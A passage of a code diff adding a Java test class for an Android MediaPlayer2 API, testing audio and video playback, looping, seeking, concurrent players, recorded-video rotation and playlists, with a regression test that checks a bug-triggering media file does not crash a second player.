+import java.io.BufferedReader;
+import java.io.File;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.UUID;
+import java.util.Vector;
+import java.util.concurrent.CountDownLatch;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+
+/**
+ * Tests for the MediaPlayer2 API and local video/audio playback.
+ *
+ * The files in res/raw used by testLocalVideo* are (c) copyright 2008,
+ * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
+ * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
+ */
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaPlayer2Test extends MediaPlayer2TestBase {
+ // TODO: remove this flag to enable tests.
+ private static final boolean IGNORE_TESTS = true;
+
+ private String RECORDED_FILE;
+ private static final String LOG_TAG = "MediaPlayer2Test";
+
+ private static final int RECORDED_VIDEO_WIDTH = 176;
+ private static final int RECORDED_VIDEO_HEIGHT = 144;
+ private static final long RECORDED_DURATION_MS = 3000;
+ private static final float FLOAT_TOLERANCE = .0001f;
+
+ private final Vector<Integer> mTimedTextTrackIndex = new Vector<>();
+ private final Monitor mOnTimedTextCalled = new Monitor();
+ private int mSelectedTimedTextIndex;
+
+ private final Vector<Integer> mSubtitleTrackIndex = new Vector<>();
+ private final Monitor mOnSubtitleDataCalled = new Monitor();
+ private int mSelectedSubtitleIndex;
+
+ private File mOutFile;
+
+ private int mBoundsCount;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ RECORDED_FILE = new File(Environment.getExternalStorageDirectory(),
+ "mediaplayer_record.out").getAbsolutePath();
+ mOutFile = new File(RECORDED_FILE);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ if (mOutFile != null && mOutFile.exists()) {
+ mOutFile.delete();
+ }
+ }
+
+ // Bug 13652927
+ public void testVorbisCrash() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ MediaPlayer2 mp = mPlayer;
+ MediaPlayer2 mp2 = mPlayer2;
+ AssetFileDescriptor afd2 = mResources.openRawResourceFd(R.raw.testmp3_2);
+ mp2.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(afd2.getFileDescriptor(), afd2.getStartOffset(), afd2.getLength())
+ .build());
+ Monitor onPrepareCalled = new Monitor();
+ Monitor onErrorCalled = new Monitor();
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ onPrepareCalled.signal();
+ }
+ }
+
+ @Override
+ public void onError(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ onErrorCalled.signal();
+ }
+ };
+ mp2.setMediaPlayer2EventCallback(mExecutor, ecb);
+ mp2.prepare();
+ onPrepareCalled.waitForSignal();
+ afd2.close();
+ mp2.clearMediaPlayer2EventCallback();
+
+ mp2.loopCurrent(true);
+ mp2.play();
+
+ for (int i = 0; i < 20; i++) {
+ try {
+ AssetFileDescriptor afd = mResources.openRawResourceFd(R.raw.bug13652927);
+ mp.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(),
+ afd.getLength())
+ .build());
+ mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+ onPrepareCalled.reset();
+ mp.prepare();
+ onErrorCalled.waitForSignal();
+ afd.close();
+ } catch (Exception e) {
+ // expected to fail
+ Log.i("@@@", "failed: " + e);
+ }
+ Thread.sleep(500);
+ assertTrue("media player died", mp2.isPlaying());
+ mp.reset();
+ }
+ }
+
+ public void testPlayNullSourcePath() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ Monitor onSetDataSourceCalled = new Monitor();
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_SET_DATA_SOURCE) {
+ assertTrue(status != MediaPlayer2.CALL_STATUS_NO_ERROR);
+ onSetDataSourceCalled.signal();
+ }
+ }
+ };
+ synchronized (mEventCbLock) {
+ mEventCallbacks.add(ecb);
+ }
+
+ onSetDataSourceCalled.reset();
+ mPlayer.setDataSource((DataSourceDesc)null);
+ onSetDataSourceCalled.waitForSignal();
+ }
+
+ public void testPlayAudioFromDataURI() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ final int mp3Duration = 34909;
+ final int tolerance = 70;
+ final int seekDuration = 100;
+
+ // This is "R.raw.testmp3_2", base64-encoded.
+ final int resid = R.raw.testmp3_3;
+
+ InputStream is = mContext.getResources().openRawResource(resid);
+ BufferedReader reader = new BufferedReader(new InputStreamReader(is));
+
+ StringBuilder builder = new StringBuilder();
+ builder.append("data:;base64,");
+ builder.append(reader.readLine());
+ Uri uri = Uri.parse(builder.toString());
+
+ MediaPlayer2 mp = createMediaPlayer2(mContext, uri);
+
+ Monitor onPrepareCalled = new Monitor();
+ Monitor onPlayCalled = new Monitor();
+ Monitor onSeekToCalled = new Monitor();
+ Monitor onLoopCurrentCalled = new Monitor();
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ onPrepareCalled.signal();
+ }
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+ onPlayCalled.signal();
+ } else if (what == MediaPlayer2.CALL_COMPLETED_LOOP_CURRENT) {
+ onLoopCurrentCalled.signal();
+ } else if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+ onSeekToCalled.signal();
+ }
+ }
+ };
+ mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+ try {
+ AudioAttributes attributes = new AudioAttributes.Builder()
+ .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
+ .build();
+ mp.setAudioAttributes(attributes);
+ mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+ assertFalse(mp.isPlaying());
+ onPlayCalled.reset();
+ mp.play();
+ onPlayCalled.waitForSignal();
+ assertTrue(mp.isPlaying());
+
+ assertFalse(mp.isLooping());
+ onLoopCurrentCalled.reset();
+ mp.loopCurrent(true);
+ onLoopCurrentCalled.waitForSignal();
+ assertTrue(mp.isLooping());
+
+ assertEquals(mp3Duration, mp.getDuration(), tolerance);
+ long pos = mp.getCurrentPosition();
+ assertTrue(pos >= 0);
+ assertTrue(pos < mp3Duration - seekDuration);
+
+ onSeekToCalled.reset();
+ mp.seekTo(pos + seekDuration, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+ onSeekToCalled.waitForSignal();
+ assertEquals(pos + seekDuration, mp.getCurrentPosition(), tolerance);
+
+ // test pause and restart
+ mp.pause();
+ Thread.sleep(SLEEP_TIME);
+ assertFalse(mp.isPlaying());
+ onPlayCalled.reset();
+ mp.play();
+ onPlayCalled.waitForSignal();
+ assertTrue(mp.isPlaying());
+
+ // test stop and restart
+ mp.reset();
+ mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+ mp.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(mContext, uri)
+ .build());
+ onPrepareCalled.reset();
+ mp.prepare();
+ onPrepareCalled.waitForSignal();
+
+ assertFalse(mp.isPlaying());
+ onPlayCalled.reset();
+ mp.play();
+ onPlayCalled.waitForSignal();
+ assertTrue(mp.isPlaying());
+
+ // waiting to complete
+ while(mp.isPlaying()) {
+ Thread.sleep(SLEEP_TIME);
+ }
+ } finally {
+ mp.close();
+ }
+ }
+
+ public void testPlayAudio() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ final int resid = R.raw.testmp3_2;
+ final int mp3Duration = 34909;
+ final int tolerance = 70;
+ final int seekDuration = 100;
+
+ MediaPlayer2 mp = createMediaPlayer2(mContext, resid);
+
+ Monitor onPrepareCalled = new Monitor();
+ Monitor onPlayCalled = new Monitor();
+ Monitor onSeekToCalled = new Monitor();
+ Monitor onLoopCurrentCalled = new Monitor();
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ onPrepareCalled.signal();
+ }
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+ onPlayCalled.signal();
+ } else if (what == MediaPlayer2.CALL_COMPLETED_LOOP_CURRENT) {
+ onLoopCurrentCalled.signal();
+ } else if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+ onSeekToCalled.signal();
+ }
+ }
+ };
+ mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+ try {
+ AudioAttributes attributes = new AudioAttributes.Builder()
+ .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
+ .build();
+ mp.setAudioAttributes(attributes);
+ mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+ assertFalse(mp.isPlaying());
+ onPlayCalled.reset();
+ mp.play();
+ onPlayCalled.waitForSignal();
+ assertTrue(mp.isPlaying());
+
+ assertFalse(mp.isLooping());
+ onLoopCurrentCalled.reset();
+ mp.loopCurrent(true);
+ onLoopCurrentCalled.waitForSignal();
+ assertTrue(mp.isLooping());
+
+ assertEquals(mp3Duration, mp.getDuration(), tolerance);
+ long pos = mp.getCurrentPosition();
+ assertTrue(pos >= 0);
+ assertTrue(pos < mp3Duration - seekDuration);
+
+ onSeekToCalled.reset();
+ mp.seekTo(pos + seekDuration, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+ onSeekToCalled.waitForSignal();
+ assertEquals(pos + seekDuration, mp.getCurrentPosition(), tolerance);
+
+ // test pause and restart
+ mp.pause();
+ Thread.sleep(SLEEP_TIME);
+ assertFalse(mp.isPlaying());
+ onPlayCalled.reset();
+ mp.play();
+ onPlayCalled.waitForSignal();
+ assertTrue(mp.isPlaying());
+
+ // test stop and restart
+ mp.reset();
+ AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
+ mp.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+ .build());
+
+ mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+ onPrepareCalled.reset();
+ mp.prepare();
+ onPrepareCalled.waitForSignal();
+ afd.close();
+
+ assertFalse(mp.isPlaying());
+ onPlayCalled.reset();
+ mp.play();
+ onPlayCalled.waitForSignal();
+ assertTrue(mp.isPlaying());
+
+ // waiting to complete
+ while(mp.isPlaying()) {
+ Thread.sleep(SLEEP_TIME);
+ }
+ } finally {
+ mp.close();
+ }
+ }
+
+ public void testConcurentPlayAudio() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ final int resid = R.raw.test1m1s; // MP3 longer than 1m are usualy offloaded
+ final int tolerance = 70;
+
+ List<MediaPlayer2> mps = Stream.generate(() -> createMediaPlayer2(mContext, resid))
+ .limit(5).collect(Collectors.toList());
+
+ try {
+ for (MediaPlayer2 mp : mps) {
+ Monitor onPlayCalled = new Monitor();
+ Monitor onLoopCurrentCalled = new Monitor();
+ MediaPlayer2.MediaPlayer2EventCallback ecb =
+ new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
+ int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+ onPlayCalled.signal();
+ } else if (what == MediaPlayer2.CALL_COMPLETED_LOOP_CURRENT) {
+ onLoopCurrentCalled.signal();
+ }
+ }
+ };
+ mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+ AudioAttributes attributes = new AudioAttributes.Builder()
+ .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
+ .build();
+ mp.setAudioAttributes(attributes);
+ mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+ assertFalse(mp.isPlaying());
+ onPlayCalled.reset();
+ mp.play();
+ onPlayCalled.waitForSignal();
+ assertTrue(mp.isPlaying());
+
+ assertFalse(mp.isLooping());
+ onLoopCurrentCalled.reset();
+ mp.loopCurrent(true);
+ onLoopCurrentCalled.waitForSignal();
+ assertTrue(mp.isLooping());
+
+ long pos = mp.getCurrentPosition();
+ assertTrue(pos >= 0);
+
+ Thread.sleep(SLEEP_TIME); // Delay each track to be able to ear them
+ }
+ // Check that all mp3 are playing concurrently here
+ for (MediaPlayer2 mp : mps) {
+ long pos = mp.getCurrentPosition();
+ Thread.sleep(SLEEP_TIME);
+ assertEquals(pos + SLEEP_TIME, mp.getCurrentPosition(), tolerance);
+ }
+ } finally {
+ mps.forEach(MediaPlayer2::close);
+ }
+ }
+
+ public void testPlayAudioLooping() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ final int resid = R.raw.testmp3;
+
+ MediaPlayer2 mp = createMediaPlayer2(mContext, resid);
+ try {
+ AudioAttributes attributes = new AudioAttributes.Builder()
+ .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
+ .build();
+ mp.setAudioAttributes(attributes);
+ mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+ mp.loopCurrent(true);
+ Monitor onCompletionCalled = new Monitor();
+ Monitor onPlayCalled = new Monitor();
+ MediaPlayer2.MediaPlayer2EventCallback ecb =
+ new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd,
+ int what, int extra) {
+ Log.i("@@@", "got oncompletion");
+ onCompletionCalled.signal();
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
+ int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_PLAY) {
+ onPlayCalled.signal();
+ }
+ }
+ };
+ mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+ assertFalse(mp.isPlaying());
+ onPlayCalled.reset();
+ mp.play();
+ onPlayCalled.waitForSignal();
+ assertTrue(mp.isPlaying());
+
+ long duration = mp.getDuration();
+ Thread.sleep(duration * 4); // allow for several loops
+ assertTrue(mp.isPlaying());
+ assertEquals("wrong number of completion signals", 0,
+ onCompletionCalled.getNumSignal());
+ mp.loopCurrent(false);
+
+ // wait for playback to finish
+ while(mp.isPlaying()) {
+ Thread.sleep(SLEEP_TIME);
+ }
+ assertEquals("wrong number of completion signals", 1,
+ onCompletionCalled.getNumSignal());
+ } finally {
+ mp.close();
+ }
+ }
+
+ public void testPlayMidi() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ final int resid = R.raw.midi8sec;
+ final int midiDuration = 8000;
+ final int tolerance = 70;
+ final int seekDuration = 1000;
+
+ MediaPlayer2 mp = createMediaPlayer2(mContext, resid);
+
+ Monitor onPrepareCalled = new Monitor();
+ Monitor onSeekToCalled = new Monitor();
+ Monitor onLoopCurrentCalled = new Monitor();
+ MediaPlayer2.MediaPlayer2EventCallback ecb =
+ new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ onPrepareCalled.signal();
+ }
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd,
+ int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_LOOP_CURRENT) {
+ onLoopCurrentCalled.signal();
+ } else if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+ onSeekToCalled.signal();
+ }
+ }
+ };
+ mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+
+ try {
+ AudioAttributes attributes = new AudioAttributes.Builder()
+ .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
+ .build();
+ mp.setAudioAttributes(attributes);
+ mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+ mp.play();
+
+ assertFalse(mp.isLooping());
+ onLoopCurrentCalled.reset();
+ mp.loopCurrent(true);
+ onLoopCurrentCalled.waitForSignal();
+ assertTrue(mp.isLooping());
+
+ assertEquals(midiDuration, mp.getDuration(), tolerance);
+ long pos = mp.getCurrentPosition();
+ assertTrue(pos >= 0);
+ assertTrue(pos < midiDuration - seekDuration);
+
+ onSeekToCalled.reset();
+ mp.seekTo(pos + seekDuration, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+ onSeekToCalled.waitForSignal();
+ assertEquals(pos + seekDuration, mp.getCurrentPosition(), tolerance);
+
+ // test stop and restart
+ mp.reset();
+ AssetFileDescriptor afd = mResources.openRawResourceFd(resid);
+ mp.setDataSource(new DataSourceDesc.Builder()
+ .setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength())
+ .build());
+
+ mp.setMediaPlayer2EventCallback(mExecutor, ecb);
+ onPrepareCalled.reset();
+ mp.prepare();
+ onPrepareCalled.waitForSignal();
+ afd.close();
+
+ mp.play();
+
+ Thread.sleep(SLEEP_TIME);
+ } finally {
+ mp.close();
+ }
+ }
+
+ static class OutputListener {
+ int mSession;
+ AudioEffect mVc;
+ Visualizer mVis;
+ byte [] mVisData;
+ boolean mSoundDetected;
+ OutputListener(int session) {
+ mSession = session;
+ // creating a volume controller on output mix ensures that ro.audio.silent mutes
+ // audio after the effects and not before
+ mVc = new AudioEffect(
+ AudioEffect.EFFECT_TYPE_NULL,
+ UUID.fromString("119341a0-8469-11df-81f9-0002a5d5c51b"),
+ 0,
+ session);
+ mVc.setEnabled(true);
+ mVis = new Visualizer(session);
+ int size = 256;
+ int[] range = Visualizer.getCaptureSizeRange();
+ if (size < range[0]) {
+ size = range[0];
+ }
+ if (size > range[1]) {
+ size = range[1];
+ }
+ assertTrue(mVis.setCaptureSize(size) == Visualizer.SUCCESS);
+
+ mVis.setDataCaptureListener(new Visualizer.OnDataCaptureListener() {
+ @Override
+ public void onWaveFormDataCapture(Visualizer visualizer,
+ byte[] waveform, int samplingRate) {
+ if (!mSoundDetected) {
+ for (int i = 0; i < waveform.length; i++) {
+ // 8 bit unsigned PCM, zero level is at 128, which is -128 when
+ // seen as a signed byte
+ if (waveform[i] != -128) {
+ mSoundDetected = true;
+ break;
+ }
+ }
+ }
+ }
+
+ @Override
+ public void onFftDataCapture(Visualizer visualizer, byte[] fft, int samplingRate) {
+ }
+ }, 10000 /* milliHertz */, true /* PCM */, false /* FFT */);
+ assertTrue(mVis.setEnabled(true) == Visualizer.SUCCESS);
+ }
+
+ void reset() {
+ mSoundDetected = false;
+ }
+
+ boolean heardSound() {
+ return mSoundDetected;
+ }
+
+ void release() {
+ mVis.release();
+ mVc.release();
+ }
+ }
+
+ public void testPlayAudioTwice() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ final int resid = R.raw.camera_click;
+
+ MediaPlayer2 mp = createMediaPlayer2(mContext, resid);
+ try {
+ AudioAttributes attributes = new AudioAttributes.Builder()
+ .setInternalLegacyStreamType(AudioManager.STREAM_MUSIC)
+ .build();
+ mp.setAudioAttributes(attributes);
+ mp.setWakeMode(mContext, PowerManager.PARTIAL_WAKE_LOCK);
+
+ OutputListener listener = new OutputListener(mp.getAudioSessionId());
+
+ Thread.sleep(SLEEP_TIME);
+ assertFalse("noise heard before test started", listener.heardSound());
+
+ mp.play();
+ Thread.sleep(SLEEP_TIME);
+ assertFalse("player was still playing after " + SLEEP_TIME + " ms", mp.isPlaying());
+ assertTrue("nothing heard while test ran", listener.heardSound());
+ listener.reset();
+ mp.seekTo(0, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+ mp.play();
+ Thread.sleep(SLEEP_TIME);
+ assertTrue("nothing heard when sound was replayed", listener.heardSound());
+ listener.release();
+ } finally {
+ mp.close();
+ }
+ }
+
+ public void testPlayVideo() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ playVideoTest(R.raw.testvideo, 352, 288);
+ }
+
+ /**
+ * Test for reseting a surface during video playback
+ * After reseting, the video should continue playing
+ * from the time setDisplay() was called
+ */
+ public void testVideoSurfaceResetting() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ final int tolerance = 150;
+ final int audioLatencyTolerance = 1000; /* covers audio path latency variability */
+ final int seekPos = 4760; // This is the I-frame position
+
+ final CountDownLatch seekDone = new CountDownLatch(1);
+
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+ seekDone.countDown();
+ }
+ }
+ };
+ synchronized (mEventCbLock) {
+ mEventCallbacks.add(ecb);
+ }
+
+ if (!checkLoadResource(R.raw.testvideo)) {
+ return; // skip;
+ }
+ playLoadedVideo(352, 288, -1);
+
+ Thread.sleep(SLEEP_TIME);
+
+ long posBefore = mPlayer.getCurrentPosition();
+ mPlayer.setDisplay(getActivity().getSurfaceHolder2());
+ long posAfter = mPlayer.getCurrentPosition();
+
+ /* temporarily disable timestamp checking because MediaPlayer2 now seeks to I-frame
+ * position, instead of requested position. setDisplay invovles a seek operation
+ * internally.
+ */
+ // TODO: uncomment out line below when MediaPlayer2 can seek to requested position.
+ // assertEquals(posAfter, posBefore, tolerance);
+ assertTrue(mPlayer.isPlaying());
+
+ Thread.sleep(SLEEP_TIME);
+
+ mPlayer.seekTo(seekPos, MediaPlayer2.SEEK_PREVIOUS_SYNC);
+ seekDone.await();
+ posAfter = mPlayer.getCurrentPosition();
+ assertEquals(seekPos, posAfter, tolerance + audioLatencyTolerance);
+
+ Thread.sleep(SLEEP_TIME / 2);
+ posBefore = mPlayer.getCurrentPosition();
+ mPlayer.setDisplay(null);
+ posAfter = mPlayer.getCurrentPosition();
+ // TODO: uncomment out line below when MediaPlayer2 can seek to requested position.
+ // assertEquals(posAfter, posBefore, tolerance);
+ assertTrue(mPlayer.isPlaying());
+
+ Thread.sleep(SLEEP_TIME);
+
+ posBefore = mPlayer.getCurrentPosition();
+ mPlayer.setDisplay(getActivity().getSurfaceHolder());
+ posAfter = mPlayer.getCurrentPosition();
+
+ // TODO: uncomment out line below when MediaPlayer2 can seek to requested position.
+ // assertEquals(posAfter, posBefore, tolerance);
+ assertTrue(mPlayer.isPlaying());
+
+ Thread.sleep(SLEEP_TIME);
+ }
+
+ public void testRecordedVideoPlayback0() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ testRecordedVideoPlaybackWithAngle(0);
+ }
+
+ public void testRecordedVideoPlayback90() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ testRecordedVideoPlaybackWithAngle(90);
+ }
+
+ public void testRecordedVideoPlayback180() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ testRecordedVideoPlaybackWithAngle(180);
+ }
+
+ public void testRecordedVideoPlayback270() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ testRecordedVideoPlaybackWithAngle(270);
+ }
+
+ private boolean hasCamera() {
+ return getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA);
+ }
+
+ private Camera mCamera;
+ private void testRecordedVideoPlaybackWithAngle(int angle) throws Exception {
+ int width = RECORDED_VIDEO_WIDTH;
+ int height = RECORDED_VIDEO_HEIGHT;
+ final String file = RECORDED_FILE;
+ final long durationMs = RECORDED_DURATION_MS;
+
+ if (!hasCamera()) {
+ return;
+ }
+
+ boolean isSupported = false;
+ mCamera = Camera.open(0);
+ Camera.Parameters parameters = mCamera.getParameters();
+ List<Camera.Size> videoSizes = parameters.getSupportedVideoSizes();
+ // getSupportedVideoSizes returns null when separate video/preview size
+ // is not supported.
+ if (videoSizes == null) {
+ videoSizes = parameters.getSupportedPreviewSizes();
+ }
+ for (Camera.Size size : videoSizes)
+ {
+ if (size.width == width && size.height == height) {
+ isSupported = true;
+ break;
+ }
+ }
+ mCamera.release();
+ mCamera = null;
+ if (!isSupported) {
+ width = videoSizes.get(0).width;
+ height = videoSizes.get(0).height;
+ }
+ checkOrientation(angle);
+ recordVideo(width, height, angle, file, durationMs);
+ checkDisplayedVideoSize(width, height, angle, file);
+ checkVideoRotationAngle(angle, file);
+ }
+
+ private void checkOrientation(int angle) throws Exception {
+ assertTrue(angle >= 0);
+ assertTrue(angle < 360);
+ assertTrue((angle % 90) == 0);
+ }
+
+ private void recordVideo(
+ int w, int h, int angle, String file, long durationMs) throws Exception {
+
+ MediaRecorder recorder = new MediaRecorder();
+ recorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+ recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+ recorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+ recorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
+ recorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
+ recorder.setOutputFile(file);
+ recorder.setOrientationHint(angle);
+ recorder.setVideoSize(w, h);
+ recorder.setPreviewDisplay(getActivity().getSurfaceHolder2().getSurface());
+ recorder.prepare();
+ recorder.start();
+ Thread.sleep(durationMs);
+ recorder.stop();
+ recorder.release();
+ recorder = null;
+ }
+
+ private void checkDisplayedVideoSize(
+ int w, int h, int angle, String file) throws Exception {
+
+ int displayWidth = w;
+ int displayHeight = h;
+ if ((angle % 180) != 0) {
+ displayWidth = h;
+ displayHeight = w;
+ }
+ playVideoTest(file, displayWidth, displayHeight);
+ }
+
+ private void checkVideoRotationAngle(int angle, String file) {
+ MediaMetadataRetriever retriever = new MediaMetadataRetriever();
+ retriever.setDataSource(file);
+ String rotation = retriever.extractMetadata(
+ MediaMetadataRetriever.METADATA_KEY_VIDEO_ROTATION);
+ retriever.release();
+ retriever = null;
+ assertNotNull(rotation);
+ assertEquals(Integer.parseInt(rotation), angle);
+ }
+
+ public void testPlaylist() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!checkLoadResource(
+ R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz)) {
+ return; // skip
+ }
+ DataSourceDesc dsd1 = createDataSourceDesc(
+ R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz);
+ DataSourceDesc dsd2 = createDataSourceDesc(
+ R.raw.testvideo);
+ ArrayList<DataSourceDesc> nextDSDs = new ArrayList<DataSourceDesc>(2);
+ nextDSDs.add(dsd2);
+ nextDSDs.add(dsd1);
+
+ mPlayer.setNextDataSources(nextDSDs);
+
+ Monitor onCompletion1Called = new Monitor();
+ Monitor onCompletion2Called = new Monitor();
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ Log.i(LOG_TAG, "testPlaylist: prepared dsd MediaId=" + dsd.getMediaId());
+ mOnPrepareCalled.signal();
+ } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
+ if (dsd == dsd1) {
+ onCompletion1Called.signal();
+ } else if (dsd == dsd2) {
+ onCompletion2Called.signal();
+ } else {
+ mOnCompletionCalled.signal();
+ }
+ }
+ }
+ };
+ synchronized (mEventCbLock) {
+ mEventCallbacks.add(ecb);
+ }
+
+ mOnCompletionCalled.reset();
+ onCompletion1Called.reset();
+ onCompletion2Called.reset();
+
+ mPlayer.setDisplay(mActivity.getSurfaceHolder());
+
+ mPlayer.prepare();
+
+ mPlayer.play();
+
+ mOnCompletionCalled.waitForSignal();
+ onCompletion2Called.waitForSignal();
+ onCompletion1Called.waitForSignal();
+
+ mPlayer.reset();
+ }
+
+ // setPlaybackParams() with non-zero speed should NOT start playback.
+ // TODO: enable this test when MediaPlayer2.setPlaybackParams() is fixed
+ /*
+ public void testSetPlaybackParamsPositiveSpeed() throws Exception {
+ if (IGNORE_TESTS) {
+ return;
+ }
+ if (!checkLoadResource(
+ R.raw.video_480x360_mp4_h264_1000kbps_30fps_aac_stereo_128kbps_44100hz)) {
+ return; // skip
+ }
+
+ MediaPlayer2.MediaPlayer2EventCallback ecb = new MediaPlayer2.MediaPlayer2EventCallback() {
+ @Override
+ public void onInfo(MediaPlayer2 mp, DataSourceDesc dsd, int what, int extra) {
+ if (what == MediaPlayer2.MEDIA_INFO_PREPARED) {
+ mOnPrepareCalled.signal();
+ } else if (what == MediaPlayer2.MEDIA_INFO_PLAYBACK_COMPLETE) {
+ mOnCompletionCalled.signal();
+ }
+ }
+
+ @Override
+ public void onCallCompleted(MediaPlayer2 mp, DataSourceDesc dsd, int what, int status) {
+ if (what == MediaPlayer2.CALL_COMPLETED_SEEK_TO) {
+ mOnSeekCompleteCalled.signal();
+ }
+ }
+ };
+ synchronized (mEventCbLock) {
+ mEventCallbacks.add(ecb);
+ }
+
+ mOnCompletionCalled.reset();
+ mPlayer.setDisplay(mActivity.getSurfaceHolder());
+
+ mOnPrepareCalled.reset();
+ mPlayer.prepare();
+ mOnPrepareCalled.waitForSignal();
+
